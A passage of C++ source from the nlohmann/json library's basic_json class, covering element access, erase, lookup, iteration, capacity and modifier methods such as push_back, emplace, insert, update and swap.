first element\n    /// @sa https://json.nlohmann.me/api/basic_json/front/\n    reference front()\n    {\n        return *begin();\n    }\n\n    /// @brief access the first element\n    /// @sa https://json.nlohmann.me/api/basic_json/front/\n    const_reference front() const\n    {\n        return *cbegin();\n    }\n\n    /// @brief access the last element\n    /// @sa https://json.nlohmann.me/api/basic_json/back/\n    reference back()\n    {\n        auto tmp = end();\n        --tmp;\n        return *tmp;\n    }\n\n    /// @brief access the last element\n    /// @sa https://json.nlohmann.me/api/basic_json/back/\n    const_reference back() const\n    {\n        auto tmp = cend();\n        --tmp;\n        return *tmp;\n    }\n\n    /// @brief remove element given an iterator\n    /// @sa https://json.nlohmann.me/api/basic_json/erase/\n    template < class IteratorType, detail::enable_if_t <\n        std::is_same<IteratorType, typename basic_json_t::iterator>::value ||\n        std::is_same<IteratorType, typename basic_json_t::const_iterator>::value, int > = 0 >\n    IteratorType erase(IteratorType pos)\n    {\n        // make sure iterator fits the current value\n        if (JSON_HEDLEY_UNLIKELY(this != pos.m_object))\n        {\n            JSON_THROW(invalid_iterator::create(202, \"iterator does not fit current value\", this));\n        }\n\n        IteratorType result = end();\n\n        switch (m_data.m_type)\n        {\n        case value_t::boolean:\n        case value_t::number_float:\n        case value_t::number_integer:\n        case value_t::number_unsigned:\n        case value_t::string:\n        case value_t::binary:\n        {\n            if (JSON_HEDLEY_UNLIKELY(!pos.m_it.primitive_iterator.is_begin()))\n            {\n                JSON_THROW(invalid_iterator::create(205, \"iterator out of range\", this));\n            }\n\n            if (is_string())\n            {\n                AllocatorType<string_t> alloc;\n                std::allocator_traits<decltype(alloc)>::destroy(alloc, m_data.m_value.string);\n                std::allocator_traits<decltype(alloc)>::deallocate(alloc, m_data.m_value.string, 1);\n                m_data.m_value.string = nullptr;\n            }\n            else if (is_binary())\n            {\n                AllocatorType<binary_t> alloc;\n                std::allocator_traits<decltype(alloc)>::destroy(alloc, m_data.m_value.binary);\n                std::allocator_traits<decltype(alloc)>::deallocate(alloc, m_data.m_value.binary, 1);\n                m_data.m_value.binary = nullptr;\n            }\n\n            m_data.m_type = value_t::null;\n            assert_invariant();\n            break;\n        }\n\n        case value_t::object:\n        {\n            result.m_it.object_iterator = m_data.m_value.object->erase(pos.m_it.object_iterator);\n            break;\n        }\n\n        case value_t::array:\n        {\n            result.m_it.array_iterator = m_data.m_value.array->erase(pos.m_it.array_iterator);\n            break;\n        }\n\n        case value_t::null:\n        case value_t::discarded:\n        default:\n            JSON_THROW(type_error::create(307, detail::concat(\"cannot use erase() with \", type_name()), this));\n        }\n\n        return result;\n    }\n\n    /// @brief remove elements given an iterator range\n    /// @sa https://json.nlohmann.me/api/basic_json/erase/\n    template < class IteratorType, detail::enable_if_t <\n        std::is_same<IteratorType, typename basic_json_t::iterator>::value ||\n        std::is_same<IteratorType, typename basic_json_t::const_iterator>::value, int > = 0 >\n    IteratorType erase(IteratorType first, IteratorType last)\n    {\n        // make sure iterator fits the current value\n        if (JSON_HEDLEY_UNLIKELY(this != first.m_object || this != last.m_object))\n        {\n            JSON_THROW(invalid_iterator::create(203, \"iterators do not fit current value\", this));\n        }\n\n        IteratorType result = end();\n\n        switch (m_data.m_type)\n        {\n        case value_t::boolean:\n        case value_t::number_float:\n        case value_t::number_integer:\n        case value_t::number_unsigned:\n        case value_t::string:\n        case value_t::binary:\n        {\n            if (JSON_HEDLEY_LIKELY(!first.m_it.primitive_iterator.is_begin()\n                || !last.m_it.primitive_iterator.is_end()))\n            {\n                JSON_THROW(invalid_iterator::create(204, \"iterators out of range\", this));\n            }\n\n            if (is_string())\n            {\n                AllocatorType<string_t> alloc;\n                std::allocator_traits<decltype(alloc)>::destroy(alloc, m_data.m_value.string);\n                std::allocator_traits<decltype(alloc)>::deallocate(alloc, m_data.m_value.string, 1);\n                m_data.m_value.string = nullptr;\n            }\n            else if (is_binary())\n            {\n                AllocatorType<binary_t> alloc;\n                std::allocator_traits<decltype(alloc)>::destroy(alloc, m_data.m_value.binary);\n                std::allocator_traits<decltype(alloc)>::deallocate(alloc, m_data.m_value.binary, 1);\n                m_data.m_value.binary = nullptr;\n            }\n\n            m_data.m_type = value_t::null;\n            assert_invariant();\n            break;\n        }\n\n        case value_t::object:\n        {\n            result.m_it.object_iterator = m_data.m_value.object->erase(first.m_it.object_iterator,\n                last.m_it.object_iterator);\n            break;\n        }\n\n        case value_t::array:\n        {\n            result.m_it.array_iterator = m_data.m_value.array->erase(first.m_it.array_iterator,\n                last.m_it.array_iterator);\n            break;\n        }\n\n        case value_t::null:\n        case value_t::discarded:\n        default:\n            JSON_THROW(type_error::create(307, detail::concat(\"cannot use erase() with \", type_name()), this));\n        }\n\n        return result;\n    }\n\nprivate:\n    template < typename KeyType, detail::enable_if_t <\n        detail::has_erase_with_key_type<basic_json_t, KeyType>::value, int > = 0 >\n    size_type erase_internal(KeyType&& key)\n    {\n        // this erase only works for objects\n        if (JSON_HEDLEY_UNLIKELY(!is_object()))\n        {\n            JSON_THROW(type_error::create(307, detail::concat(\"cannot use erase() with \", type_name()), this));\n        }\n\n        return m_data.m_value.object->erase(std::forward<KeyType>(key));\n    }\n\n    template < typename KeyType, detail::enable_if_t <\n        !detail::has_erase_with_key_type<basic_json_t, KeyType>::value, int > = 0 >\n    size_type erase_internal(KeyType&& key)\n    {\n        // this erase only works for objects\n        if (JSON_HEDLEY_UNLIKELY(!is_object()))\n        {\n            JSON_THROW(type_error::create(307, detail::concat(\"cannot use erase() with \", type_name()), this));\n        }\n\n        const auto it = m_data.m_value.object->find(std::forward<KeyType>(key));\n        if (it != m_data.m_value.object->end())\n        {\n            m_data.m_value.object->erase(it);\n            return 1;\n        }\n        return 0;\n    }\n\npublic:\n\n    /// @brief remove element from a JSON object given a key\n    /// @sa https://json.nlohmann.me/api/basic_json/erase/\n    size_type erase(const typename object_t::key_type& key)\n    {\n        // the indirection via erase_internal() is added to avoid making this\n        // function a template and thus de-rank it during overload resolution\n        return erase_internal(key);\n    }\n\n    /// @brief remove element from a JSON object given a key\n    /// @sa https://json.nlohmann.me/api/basic_json/erase/\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_basic_json_key_type<basic_json_t, KeyType>::value, int> = 0>\n    size_type erase(KeyType&& key)\n    {\n        return erase_internal(std::forward<KeyType>(key));\n    }\n\n    /// @brief remove element from a JSON array given an index\n    /// @sa https://json.nlohmann.me/api/basic_json/erase/\n    void erase(const size_type idx)\n    {\n        // this erase only works for arrays\n        if (JSON_HEDLEY_LIKELY(is_array()))\n        {\n            if (JSON_HEDLEY_UNLIKELY(idx >= size()))\n            {\n                JSON_THROW(out_of_range::create(401, detail::concat(\"array index \", std::to_string(idx), \" is out of range\"), this));\n            }\n\n            m_data.m_value.array->erase(m_data.m_value.array->begin() + static_cast<difference_type>(idx));\n        }\n        else\n        {\n            JSON_THROW(type_error::create(307, detail::concat(\"cannot use erase() with \", type_name()), this));\n        }\n    }\n\n    /// @}\n\n    ////////////\n    // lookup //\n    ////////////\n\n    /// @name lookup\n    /// @{\n\n    /// @brief find an element in a JSON object\n    /// @sa https://json.nlohmann.me/api/basic_json/find/\n    iterator find(const typename object_t::key_type& key)\n    {\n        auto result = end();\n\n        if (is_object())\n        {\n            result.m_it.object_iterator = m_data.m_value.object->find(key);\n        }\n\n        return result;\n    }\n\n    /// @brief find an element in a JSON object\n    /// @sa https://json.nlohmann.me/api/basic_json/find/\n    const_iterator find(const typename object_t::key_type& key) const\n    {\n        auto result = cend();\n\n        if (is_object())\n        {\n            result.m_it.object_iterator = m_data.m_value.object->find(key);\n        }\n\n        return result;\n    }\n\n    /// @brief find an element in a JSON object\n    /// @sa https://json.nlohmann.me/api/basic_json/find/\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_basic_json_key_type<basic_json_t, KeyType>::value, int> = 0>\n    iterator find(KeyType&& key)\n    {\n        auto result = end();\n\n        if (is_object())\n        {\n            result.m_it.object_iterator = m_data.m_value.object->find(std::forward<KeyType>(key));\n        }\n\n        return result;\n    }\n\n    /// @brief find an element in a JSON object\n    /// @sa https://json.nlohmann.me/api/basic_json/find/\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_basic_json_key_type<basic_json_t, KeyType>::value, int> = 0>\n    const_iterator find(KeyType&& key) const\n    {\n        auto result = cend();\n\n        if (is_object())\n        {\n            result.m_it.object_iterator = m_data.m_value.object->find(std::forward<KeyType>(key));\n        }\n\n        return result;\n    }\n\n    /// @brief returns the number of occurrences of a key in a JSON object\n    /// @sa https://json.nlohmann.me/api/basic_json/count/\n    size_type count(const typename object_t::key_type& key) const\n    {\n        // return 0 for all nonobject types\n        return is_object() ? m_data.m_value.object->count(key) : 0;\n    }\n\n    /// @brief returns the number of occurrences of a key in a JSON object\n    /// @sa https://json.nlohmann.me/api/basic_json/count/\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_basic_json_key_type<basic_json_t, KeyType>::value, int> = 0>\n    size_type count(KeyType&& key) const\n    {\n        // return 0 for all nonobject types\n        return is_object() ? m_data.m_value.object->count(std::forward<KeyType>(key)) : 0;\n    }\n\n    /// @brief check the existence of an element in a JSON object\n    /// @sa https://json.nlohmann.me/api/basic_json/contains/\n    bool contains(const typename object_t::key_type& key) const\n    {\n        return is_object() && m_data.m_value.object->find(key) != m_data.m_value.object->end();\n    }\n\n    /// @brief check the existence of an element in a JSON object\n    /// @sa https://json.nlohmann.me/api/basic_json/contains/\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_basic_json_key_type<basic_json_t, KeyType>::value, int> = 0>\n    bool contains(KeyType&& key) const\n    {\n        return is_object() && m_data.m_value.object->find(std::forward<KeyType>(key)) != m_data.m_value.object->end();\n    }\n\n    /// @brief check the existence of an element in a JSON object given a JSON pointer\n    /// @sa https://json.nlohmann.me/api/basic_json/contains/\n    bool contains(const json_pointer& ptr) const\n    {\n        return ptr.contains(this);\n    }\n\n    template<typename BasicJsonType, detail::enable_if_t<detail::is_basic_json<BasicJsonType>::value, int> = 0>\n    JSON_HEDLEY_DEPRECATED_FOR(3.11.0, basic_json::json_pointer or nlohmann::json_pointer<basic_json::string_t>) // NOLINT(readability/alt_tokens)\n        bool contains(const typename ::nlohmann::json_pointer<BasicJsonType>& ptr) const\n    {\n        return ptr.contains(this);\n    }\n\n    /// @}\n\n    ///////////////\n    // iterators //\n    ///////////////\n\n    /// @name iterators\n    /// @{\n\n    /// @brief returns an iterator to the first element\n    /// @sa https://json.nlohmann.me/api/basic_json/begin/\n    iterator begin() noexcept\n    {\n        iterator result(this);\n        result.set_begin();\n        return result;\n    }\n\n    /// @brief returns an iterator to the first element\n    /// @sa https://json.nlohmann.me/api/basic_json/begin/\n    const_iterator begin() const noexcept\n    {\n        return cbegin();\n    }\n\n    /// @brief returns a const iterator to the first element\n    /// @sa https://json.nlohmann.me/api/basic_json/cbegin/\n    const_iterator cbegin() const noexcept\n    {\n        const_iterator result(this);\n        result.set_begin();\n        return result;\n    }\n\n    /// @brief returns an iterator to one past the last element\n    /// @sa https://json.nlohmann.me/api/basic_json/end/\n    iterator end() noexcept\n    {\n        iterator result(this);\n        result.set_end();\n        return result;\n    }\n\n    /// @brief returns an iterator to one past the last element\n    /// @sa https://json.nlohmann.me/api/basic_json/end/\n    const_iterator end() const noexcept\n    {\n        return cend();\n    }\n\n    /// @brief returns an iterator to one past the last element\n    /// @sa https://json.nlohmann.me/api/basic_json/cend/\n    const_iterator cend() const noexcept\n    {\n        const_iterator result(this);\n        result.set_end();\n        return result;\n    }\n\n    /// @brief returns an iterator to the reverse-beginning\n    /// @sa https://json.nlohmann.me/api/basic_json/rbegin/\n    reverse_iterator rbegin() noexcept\n    {\n        return reverse_iterator(end());\n    }\n\n    /// @brief returns an iterator to the reverse-beginning\n    /// @sa https://json.nlohmann.me/api/basic_json/rbegin/\n    const_reverse_iterator rbegin() const noexcept\n    {\n        return crbegin();\n    }\n\n    /// @brief returns an iterator to the reverse-end\n    /// @sa https://json.nlohmann.me/api/basic_json/rend/\n    reverse_iterator rend() noexcept\n    {\n        return reverse_iterator(begin());\n    }\n\n    /// @brief returns an iterator to the reverse-end\n    /// @sa https://json.nlohmann.me/api/basic_json/rend/\n    const_reverse_iterator rend() const noexcept\n    {\n        return crend();\n    }\n\n    /// @brief returns a const reverse iterator to the last element\n    /// @sa https://json.nlohmann.me/api/basic_json/crbegin/\n    const_reverse_iterator crbegin() const noexcept\n    {\n        return const_reverse_iterator(cend());\n    }\n\n    /// @brief returns a const reverse iterator to one before the first\n    /// @sa https://json.nlohmann.me/api/basic_json/crend/\n    const_reverse_iterator crend() const noexcept\n    {\n        return const_reverse_iterator(cbegin());\n    }\n\npublic:\n    /// @brief wrapper to access iterator member functions in range-based for\n    /// @sa https://json.nlohmann.me/api/basic_json/items/\n    /// @deprecated This function is deprecated since 3.1.0 and will be removed in\n    ///             version 4.0.0 of the library. Please use @ref items() instead;\n    ///             that is, replace `json::iterator_wrapper(j)` with `j.items()`.\n    JSON_HEDLEY_DEPRECATED_FOR(3.1.0, items())\n        static iteration_proxy<iterator> iterator_wrapper(reference ref) noexcept\n    {\n        return ref.items();\n    }\n\n    /// @brief wrapper to access iterator member functions in range-based for\n    /// @sa https://json.nlohmann.me/api/basic_json/items/\n    /// @deprecated This function is deprecated since 3.1.0 and will be removed in\n    ///         version 4.0.0 of the library. Please use @ref items() instead;\n    ///         that is, replace `json::iterator_wrapper(j)` with `j.items()`.\n    JSON_HEDLEY_DEPRECATED_FOR(3.1.0, items())\n        static iteration_proxy<const_iterator> iterator_wrapper(const_reference ref) noexcept\n    {\n        return ref.items();\n    }\n\n    /// @brief helper to access iterator member functions in range-based for\n    /// @sa https://json.nlohmann.me/api/basic_json/items/\n    iteration_proxy<iterator> items() noexcept\n    {\n        return iteration_proxy<iterator>(*this);\n    }\n\n    /// @brief helper to access iterator member functions in range-based for\n    /// @sa https://json.nlohmann.me/api/basic_json/items/\n    iteration_proxy<const_iterator> items() const noexcept\n    {\n        return iteration_proxy<const_iterator>(*this);\n    }\n\n    /// @}\n\n    //////////////\n    // capacity //\n    //////////////\n\n    /// @name capacity\n    /// @{\n\n    /// @brief checks whether the container is empty.\n    /// @sa https://json.nlohmann.me/api/basic_json/empty/\n    bool empty() const noexcept\n    {\n        switch (m_data.m_type)\n        {\n        case value_t::null:\n        {\n            // null values are empty\n            return true;\n        }\n\n        case value_t::array:\n        {\n            // delegate call to array_t::empty()\n            return m_data.m_value.array->empty();\n        }\n\n        case value_t::object:\n        {\n            // delegate call to object_t::empty()\n            return m_data.m_value.object->empty();\n        }\n\n        case value_t::string:\n        case value_t::boolean:\n        case value_t::number_integer:\n        case value_t::number_unsigned:\n        case value_t::number_float:\n        case value_t::binary:\n        case value_t::discarded:\n        default:\n        {\n            // all other types are nonempty\n            return false;\n        }\n        }\n    }\n\n    /// @brief returns the number of elements\n    /// @sa https://json.nlohmann.me/api/basic_json/size/\n    size_type size() const noexcept\n    {\n        switch (m_data.m_type)\n        {\n        case value_t::null:\n        {\n            // null values are empty\n            return 0;\n        }\n\n        case value_t::array:\n        {\n            // delegate call to array_t::size()\n            return m_data.m_value.array->size();\n        }\n\n        case value_t::object:\n        {\n            // delegate call to object_t::size()\n            return m_data.m_value.object->size();\n        }\n\n        case value_t::string:\n        case value_t::boolean:\n        case value_t::number_integer:\n        case value_t::number_unsigned:\n        case value_t::number_float:\n        case value_t::binary:\n        case value_t::discarded:\n        default:\n        {\n            // all other types have size 1\n            return 1;\n        }\n        }\n    }\n\n    /// @brief returns the maximum possible number of elements\n    /// @sa https://json.nlohmann.me/api/basic_json/max_size/\n    size_type max_size() const noexcept\n    {\n        switch (m_data.m_type)\n        {\n        case value_t::array:\n        {\n            // delegate call to array_t::max_size()\n            return m_data.m_value.array->max_size();\n        }\n\n        case value_t::object:\n        {\n            // delegate call to object_t::max_size()\n            return m_data.m_value.object->max_size();\n        }\n\n        case value_t::null:\n        case value_t::string:\n        case value_t::boolean:\n        case value_t::number_integer:\n        case value_t::number_unsigned:\n        case value_t::number_float:\n        case value_t::binary:\n        case value_t::discarded:\n        default:\n        {\n            // all other types have max_size() == size()\n            return size();\n        }\n        }\n    }\n\n    /// @}\n\n    ///////////////\n    // modifiers //\n    ///////////////\n\n    /// @name modifiers\n    /// @{\n\n    /// @brief clears the contents\n    /// @sa https://json.nlohmann.me/api/basic_json/clear/\n    void clear() noexcept\n    {\n        switch (m_data.m_type)\n        {\n        case value_t::number_integer:\n        {\n            m_data.m_value.number_integer = 0;\n            break;\n        }\n\n        case value_t::number_unsigned:\n        {\n            m_data.m_value.number_unsigned = 0;\n            break;\n        }\n\n        case value_t::number_float:\n        {\n            m_data.m_value.number_float = 0.0;\n            break;\n        }\n\n        case value_t::boolean:\n        {\n            m_data.m_value.boolean = false;\n            break;\n        }\n\n        case value_t::string:\n        {\n            m_data.m_value.string->clear();\n            break;\n        }\n\n        case value_t::binary:\n        {\n            m_data.m_value.binary->clear();\n            break;\n        }\n\n        case value_t::array:\n        {\n            m_data.m_value.array->clear();\n            break;\n        }\n\n        case value_t::object:\n        {\n            m_data.m_value.object->clear();\n            break;\n        }\n\n        case value_t::null:\n        case value_t::discarded:\n        default:\n            break;\n        }\n    }\n\n    /// @brief add an object to an array\n    /// @sa https://json.nlohmann.me/api/basic_json/push_back/\n    void push_back(basic_json&& val)\n    {\n        // push_back only works for null objects or arrays\n        if (JSON_HEDLEY_UNLIKELY(!(is_null() || is_array())))\n        {\n            JSON_THROW(type_error::create(308, detail::concat(\"cannot use push_back() with \", type_name()), this));\n        }\n\n        // transform null object into an array\n        if (is_null())\n        {\n            m_data.m_type = value_t::array;\n            m_data.m_value = value_t::array;\n            assert_invariant();\n        }\n\n        // add element to array (move semantics)\n        const auto old_capacity = m_data.m_value.array->capacity();\n        m_data.m_value.array->push_back(std::move(val));\n        set_parent(m_data.m_value.array->back(), old_capacity);\n        // if val is moved from, basic_json move constructor marks it null, so we do not call the destructor\n    }\n\n    /// @brief add an object to an array\n    /// @sa https://json.nlohmann.me/api/basic_json/operator+=/\n    reference operator+=(basic_json&& val)\n    {\n        push_back(std::move(val));\n        return *this;\n    }\n\n    /// @brief add an object to an array\n    /// @sa https://json.nlohmann.me/api/basic_json/push_back/\n    void push_back(const basic_json& val)\n    {\n        // push_back only works for null objects or arrays\n        if (JSON_HEDLEY_UNLIKELY(!(is_null() || is_array())))\n        {\n            JSON_THROW(type_error::create(308, detail::concat(\"cannot use push_back() with \", type_name()), this));\n        }\n\n        // transform null object into an array\n        if (is_null())\n        {\n            m_data.m_type = value_t::array;\n            m_data.m_value = value_t::array;\n            assert_invariant();\n        }\n\n        // add element to array\n        const auto old_capacity = m_data.m_value.array->capacity();\n        m_data.m_value.array->push_back(val);\n        set_parent(m_data.m_value.array->back(), old_capacity);\n    }\n\n    /// @brief add an object to an array\n    /// @sa https://json.nlohmann.me/api/basic_json/operator+=/\n    reference operator+=(const basic_json& val)\n    {\n        push_back(val);\n        return *this;\n    }\n\n    /// @brief add an object to an object\n    /// @sa https://json.nlohmann.me/api/basic_json/push_back/\n    void push_back(const typename object_t::value_type& val)\n    {\n        // push_back only works for null objects or objects\n        if (JSON_HEDLEY_UNLIKELY(!(is_null() || is_object())))\n        {\n            JSON_THROW(type_error::create(308, detail::concat(\"cannot use push_back() with \", type_name()), this));\n        }\n\n        // transform null object into an object\n        if (is_null())\n        {\n            m_data.m_type = value_t::object;\n            m_data.m_value = value_t::object;\n            assert_invariant();\n        }\n\n        // add element to object\n        auto res = m_data.m_value.object->insert(val);\n        set_parent(res.first->second);\n    }\n\n    /// @brief add an object to an object\n    /// @sa https://json.nlohmann.me/api/basic_json/operator+=/\n    reference operator+=(const typename object_t::value_type& val)\n    {\n        push_back(val);\n        return *this;\n    }\n\n    /// @brief add an object to an object\n    /// @sa https://json.nlohmann.me/api/basic_json/push_back/\n    void push_back(initializer_list_t init)\n    {\n        if (is_object() && init.size() == 2 && (*init.begin())->is_string())\n        {\n            basic_json&& key = init.begin()->moved_or_copied();\n            push_back(typename object_t::value_type(\n                std::move(key.get_ref<string_t&>()), (init.begin() + 1)->moved_or_copied()));\n        }\n        else\n        {\n            push_back(basic_json(init));\n        }\n    }\n\n    /// @brief add an object to an object\n    /// @sa https://json.nlohmann.me/api/basic_json/operator+=/\n    reference operator+=(initializer_list_t init)\n    {\n        push_back(init);\n        return *this;\n    }\n\n    /// @brief add an object to an array\n    /// @sa https://json.nlohmann.me/api/basic_json/emplace_back/\n    template<class... Args>\n    reference emplace_back(Args&& ... args)\n    {\n        // emplace_back only works for null objects or arrays\n        if (JSON_HEDLEY_UNLIKELY(!(is_null() || is_array())))\n        {\n            JSON_THROW(type_error::create(311, detail::concat(\"cannot use emplace_back() with \", type_name()), this));\n        }\n\n        // transform null object into an array\n        if (is_null())\n        {\n            m_data.m_type = value_t::array;\n            m_data.m_value = value_t::array;\n            assert_invariant();\n        }\n\n        // add element to array (perfect forwarding)\n        const auto old_capacity = m_data.m_value.array->capacity();\n        m_data.m_value.array->emplace_back(std::forward<Args>(args)...);\n        return set_parent(m_data.m_value.array->back(), old_capacity);\n    }\n\n    /// @brief add an object to an object if key does not exist\n    /// @sa https://json.nlohmann.me/api/basic_json/emplace/\n    template<class... Args>\n    std::pair<iterator, bool> emplace(Args&& ... args)\n    {\n        // emplace only works for null objects or arrays\n        if (JSON_HEDLEY_UNLIKELY(!(is_null() || is_object())))\n        {\n            JSON_THROW(type_error::create(311, detail::concat(\"cannot use emplace() with \", type_name()), this));\n        }\n\n        // transform null object into an object\n        if (is_null())\n        {\n            m_data.m_type = value_t::object;\n            m_data.m_value = value_t::object;\n            assert_invariant();\n        }\n\n        // add element to array (perfect forwarding)\n        auto res = m_data.m_value.object->emplace(std::forward<Args>(args)...);\n        set_parent(res.first->second);\n\n        // create result iterator and set iterator to the result of emplace\n        auto it = begin();\n        it.m_it.object_iterator = res.first;\n\n        // return pair of iterator and boolean\n        return { it, res.second };\n    }\n\n    /// Helper for insertion of an iterator\n    /// @note: This uses std::distance to support GCC 4.8,\n    ///        see https://github.com/nlohmann/json/pull/1257\n    template<typename... Args>\n    iterator insert_iterator(const_iterator pos, Args&& ... args)\n    {\n        iterator result(this);\n        JSON_ASSERT(m_data.m_value.array != nullptr);\n\n        auto insert_pos = std::distance(m_data.m_value.array->begin(), pos.m_it.array_iterator);\n        m_data.m_value.array->insert(pos.m_it.array_iterator, std::forward<Args>(args)...);\n        result.m_it.array_iterator = m_data.m_value.array->begin() + insert_pos;\n\n        // This could have been written as:\n        // result.m_it.array_iterator = m_data.m_value.array->insert(pos.m_it.array_iterator, cnt, val);\n        // but the return value of insert is missing in GCC 4.8, so it is written this way instead.\n\n        set_parents();\n        return result;\n    }\n\n    /// @brief inserts element into array\n    /// @sa https://json.nlohmann.me/api/basic_json/insert/\n    iterator insert(const_iterator pos, const basic_json& val)\n    {\n        // insert only works for arrays\n        if (JSON_HEDLEY_LIKELY(is_array()))\n        {\n            // check if iterator pos fits to this JSON value\n            if (JSON_HEDLEY_UNLIKELY(pos.m_object != this))\n            {\n                JSON_THROW(invalid_iterator::create(202, \"iterator does not fit current value\", this));\n            }\n\n            // insert to array and return iterator\n            return insert_iterator(pos, val);\n        }\n\n        JSON_THROW(type_error::create(309, detail::concat(\"cannot use insert() with \", type_name()), this));\n    }\n\n    /// @brief inserts element into array\n    /// @sa https://json.nlohmann.me/api/basic_json/insert/\n    iterator insert(const_iterator pos, basic_json&& val)\n    {\n        return insert(pos, val);\n    }\n\n    /// @brief inserts copies of element into array\n    /// @sa https://json.nlohmann.me/api/basic_json/insert/\n    iterator insert(const_iterator pos, size_type cnt, const basic_json& val)\n    {\n        // insert only works for arrays\n        if (JSON_HEDLEY_LIKELY(is_array()))\n        {\n            // check if iterator pos fits to this JSON value\n            if (JSON_HEDLEY_UNLIKELY(pos.m_object != this))\n            {\n                JSON_THROW(invalid_iterator::create(202, \"iterator does not fit current value\", this));\n            }\n\n            // insert to array and return iterator\n            return insert_iterator(pos, cnt, val);\n        }\n\n        JSON_THROW(type_error::create(309, detail::concat(\"cannot use insert() with \", type_name()), this));\n    }\n\n    /// @brief inserts range of elements into array\n    /// @sa https://json.nlohmann.me/api/basic_json/insert/\n    iterator insert(const_iterator pos, const_iterator first, const_iterator last)\n    {\n        // insert only works for arrays\n        if (JSON_HEDLEY_UNLIKELY(!is_array()))\n        {\n            JSON_THROW(type_error::create(309, detail::concat(\"cannot use insert() with \", type_name()), this));\n        }\n\n        // check if iterator pos fits to this JSON value\n        if (JSON_HEDLEY_UNLIKELY(pos.m_object != this))\n        {\n            JSON_THROW(invalid_iterator::create(202, \"iterator does not fit current value\", this));\n        }\n\n        // check if range iterators belong to the same JSON object\n        if (JSON_HEDLEY_UNLIKELY(first.m_object != last.m_object))\n        {\n            JSON_THROW(invalid_iterator::create(210, \"iterators do not fit\", this));\n        }\n\n        if (JSON_HEDLEY_UNLIKELY(first.m_object == this))\n        {\n            JSON_THROW(invalid_iterator::create(211, \"passed iterators may not belong to container\", this));\n        }\n\n        // insert to array and return iterator\n        return insert_iterator(pos, first.m_it.array_iterator, last.m_it.array_iterator);\n    }\n\n    /// @brief inserts elements from initializer list into array\n    /// @sa https://json.nlohmann.me/api/basic_json/insert/\n    iterator insert(const_iterator pos, initializer_list_t ilist)\n    {\n        // insert only works for arrays\n        if (JSON_HEDLEY_UNLIKELY(!is_array()))\n        {\n            JSON_THROW(type_error::create(309, detail::concat(\"cannot use insert() with \", type_name()), this));\n        }\n\n        // check if iterator pos fits to this JSON value\n        if (JSON_HEDLEY_UNLIKELY(pos.m_object != this))\n        {\n            JSON_THROW(invalid_iterator::create(202, \"iterator does not fit current value\", this));\n        }\n\n        // insert to array and return iterator\n        return insert_iterator(pos, ilist.begin(), ilist.end());\n    }\n\n    /// @brief inserts range of elements into object\n    /// @sa https://json.nlohmann.me/api/basic_json/insert/\n    void insert(const_iterator first, const_iterator last)\n    {\n        // insert only works for objects\n        if (JSON_HEDLEY_UNLIKELY(!is_object()))\n        {\n            JSON_THROW(type_error::create(309, detail::concat(\"cannot use insert() with \", type_name()), this));\n        }\n\n        // check if range iterators belong to the same JSON object\n        if (JSON_HEDLEY_UNLIKELY(first.m_object != last.m_object))\n        {\n            JSON_THROW(invalid_iterator::create(210, \"iterators do not fit\", this));\n        }\n\n        // passed iterators must belong to objects\n        if (JSON_HEDLEY_UNLIKELY(!first.m_object->is_object()))\n        {\n            JSON_THROW(invalid_iterator::create(202, \"iterators first and last must point to objects\", this));\n        }\n\n        m_data.m_value.object->insert(first.m_it.object_iterator, last.m_it.object_iterator);\n    }\n\n    /// @brief updates a JSON object from another object, overwriting existing keys\n    /// @sa https://json.nlohmann.me/api/basic_json/update/\n    void update(const_reference j, bool merge_objects = false)\n    {\n        update(j.begin(), j.end(), merge_objects);\n    }\n\n    /// @brief updates a JSON object from another object, overwriting existing keys\n    /// @sa https://json.nlohmann.me/api/basic_json/update/\n    void update(const_iterator first, const_iterator last, bool merge_objects = false)\n    {\n        // implicitly convert null value to an empty object\n        if (is_null())\n        {\n            m_data.m_type = value_t::object;\n            m_data.m_value.object = create<object_t>();\n            assert_invariant();\n        }\n\n        if (JSON_HEDLEY_UNLIKELY(!is_object()))\n        {\n            JSON_THROW(type_error::create(312, detail::concat(\"cannot use update() with \", type_name()), this));\n        }\n\n        // check if range iterators belong to the same JSON object\n        if (JSON_HEDLEY_UNLIKELY(first.m_object != last.m_object))\n        {\n            JSON_THROW(invalid_iterator::create(210, \"iterators do not fit\", this));\n        }\n\n        // passed iterators must belong to objects\n        if (JSON_HEDLEY_UNLIKELY(!first.m_object->is_object()))\n        {\n            JSON_THROW(type_error::create(312, detail::concat(\"cannot use update() with \", first.m_object->type_name()), first.m_object));\n        }\n\n        for (auto it = first; it != last; ++it)\n        {\n            if (merge_objects && it.value().is_object())\n            {\n                auto it2 = m_data.m_value.object->find(it.key());\n                if (it2 != m_data.m_value.object->end())\n                {\n                    it2->second.update(it.value(), true);\n                    continue;\n                }\n            }\n            m_data.m_value.object->operator[](it.key()) = it.value();\n#if JSON_DIAGNOSTICS\n            m_data.m_value.object->operator[](it.key()).m_parent = this;\n#endif\n        }\n    }\n\n    /// @brief exchanges the values\n    /// @sa https://json.nlohmann.me/api/basic_json/swap/\n    void swap(reference other) noexcept (\n        std::is_nothrow_move_constructible<value_t>::value&&\n        std::is_nothrow_move_assignable<value_t>::value&&\n        std::is_nothrow_move_constructible<json_value>::value&& // NOLINT(cppcoreguidelines-noexcept-swap,performance-noexcept-swap)\n        std::is_nothrow_move_assignable<json_value>::value\n        )\n    {\n        std::swap(m_data.m_type, other.m_data.m_type);\n        std::swap(m_data.m_value, other.m_data.m_value);\n\n        set_parents();\n        other.set_parents();\n        assert_invariant();\n    }\n\n    /// @brief exchanges the values\n    /// @sa https://json.nlohmann.me/api/basic_json/swap/\n    friend void swap(reference left, reference right) noexcept (\n        std::is_nothrow_move_constructible<value_t>::value&&\n        std::is_nothrow_move_assignable<value_t>::value&&\n        std::is_nothrow_move_constructible<json_value>::value&& // NOLINT(cppcoreguidelines-noexcept-swap,performance-noexcept-swap)\n        std::is_nothrow_move_assignable<json_value>::value\n        )\n    {\n        left.swap(right);\n    }\n\n    /// @brief exchanges the values\n    /// @sa https://json.nlohmann.me/api/basic_json/swap/\n    void swap(array_t& other) // NOLINT(bugprone-exception-escape,cppcoreguidelines-noexcept-swap,performance-noexcept-swap)\n    {\n        // swap only works for arrays\n        if (JSON_HEDLEY_LIKELY(is_array()))\n        {\n            using std::swap;\n            swap(*(m_data.m_value.array), other);\n        }\n        else\n        {\n            JSON_THROW(type_error::create(310, detail::concat(\"cannot use 